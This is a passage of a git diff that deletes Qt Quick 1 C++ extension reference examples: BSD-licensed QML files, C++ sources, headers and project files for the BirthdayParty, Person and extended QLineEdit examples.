WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - host: Boy { - name: "Bob Jones" - shoeSize: 12 - } - - Boy { name: "Leo Hodges" } - Boy { name: "Jack Smith" } - Girl { name: "Anne Brown" } -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/main.cpp deleted file mode 100644 index 3a03279129..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/main.cpp +++ /dev/null @@ -1,75 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - for (int ii = 0; ii < party->guestCount(); ++ii) - qWarning() << " " << party->guest(ii)->name(); - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/person.cpp deleted file mode 100644 index 5a615a1ecd..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/person.cpp +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -Person::Person(QObject *parent) -: QObject(parent), m_shoeSize(0) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -int Person::shoeSize() const -{ - return m_shoeSize; -} - -void Person::setShoeSize(int s) -{ - m_shoeSize = s; -} - - -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/person.h deleted file mode 100644 index d85672798c..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/person.h +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - int shoeSize() const; - void setShoeSize(int); -private: - QString m_name; - int m_shoeSize; -}; - -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/example.qml deleted file mode 100644 index 642a95d443..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/example.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -QLineEdit { - leftMargin: 20 -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/extended.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/extended.pro deleted file mode 100644 index f3e4284037..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/extended.pro +++ /dev/null @@ -1,15 +0,0 @@ -TEMPLATE = app -TARGET = extended -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative qtquick1 - -# Input -SOURCES += main.cpp \ - lineedit.cpp -HEADERS += lineedit.h -RESOURCES += extended.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/extended -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS extended.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/extended -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/extended.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/extended.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/extended.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/lineedit.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/lineedit.cpp deleted file mode 100644 index f00832644f..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/lineedit.cpp +++ /dev/null @@ -1,103 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "lineedit.h" - -LineEditExtension::LineEditExtension(QObject *object) -: QObject(object), m_lineedit(static_cast(object)) -{ -} - -int LineEditExtension::leftMargin() const -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - return l; -} - -void LineEditExtension::setLeftMargin(int m) -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - m_lineedit->setTextMargins(m, t, r, b); -} - -int LineEditExtension::rightMargin() const -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - return r; -} - -void LineEditExtension::setRightMargin(int m) -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - m_lineedit->setTextMargins(l, t, m, b); -} - -int LineEditExtension::topMargin() const -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - return t; -} - -void LineEditExtension::setTopMargin(int m) -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - m_lineedit->setTextMargins(l, m, r, b); -} - -int LineEditExtension::bottomMargin() const -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - return b; -} - -void LineEditExtension::setBottomMargin(int m) -{ - int l, r, t, b; - m_lineedit->getTextMargins(&l, &t, &r, &b); - m_lineedit->setTextMargins(l, t, r, m); -} - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/lineedit.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/lineedit.h deleted file mode 100644 index fa8c75df78..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/lineedit.h +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef LINEEDIT_H -#define LINEEDIT_H - -#include - -class LineEditExtension : public QObject -{ - Q_OBJECT - Q_PROPERTY(int leftMargin READ leftMargin WRITE setLeftMargin NOTIFY marginsChanged) - Q_PROPERTY(int rightMargin READ rightMargin WRITE setRightMargin NOTIFY marginsChanged) - Q_PROPERTY(int topMargin READ topMargin WRITE setTopMargin NOTIFY marginsChanged) - Q_PROPERTY(int bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY marginsChanged) -public: - LineEditExtension(QObject *); - - int leftMargin() const; - void setLeftMargin(int); - - int rightMargin() const; - void setRightMargin(int); - - int topMargin() const; - void setTopMargin(int); - - int bottomMargin() const; - void setBottomMargin(int); -signals: - void marginsChanged(); - -private: - QLineEdit *m_lineedit; -}; - -#endif // LINEEDIT_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/main.cpp deleted file mode 100644 index 3c580396f2..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/extended/main.cpp +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include "lineedit.h" - -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - - qmlRegisterExtendedType("People", 1,0, "QLineEdit"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - QLineEdit *edit = qobject_cast(component.create()); - - if (edit) { - edit->show(); - return app.exec(); - } else { - qWarning() << component.errors(); - return 0; - } -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/birthdayparty.cpp deleted file mode 100644 index 11e408ff3e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/birthdayparty.cpp +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/birthdayparty.h deleted file mode 100644 index 491903adc5..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/birthdayparty.h +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include "person.h" - -class BirthdayParty : public QObject -{ - Q_OBJECT - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) - Q_CLASSINFO("DefaultProperty", "guests") -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - -private: - Person *m_host; - QList m_guests; -}; - - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/example.qml deleted file mode 100644 index 8c098f8332..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/grouped/example.qml +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - host: Boy { - name: "Bob Jones" - shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 } - } - - Boy { - name: "Leo Hodges" - shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 } - } - // ![1] - Boy { - name: "Jack Smith" - shoe { - size: 8 - color: "blue" - brand: "Puma" - price: 19.95 - } - } - // ![1] - Girl { - name: "Anne Brown" - shoe.size: 7 - shoe.color: "red" - 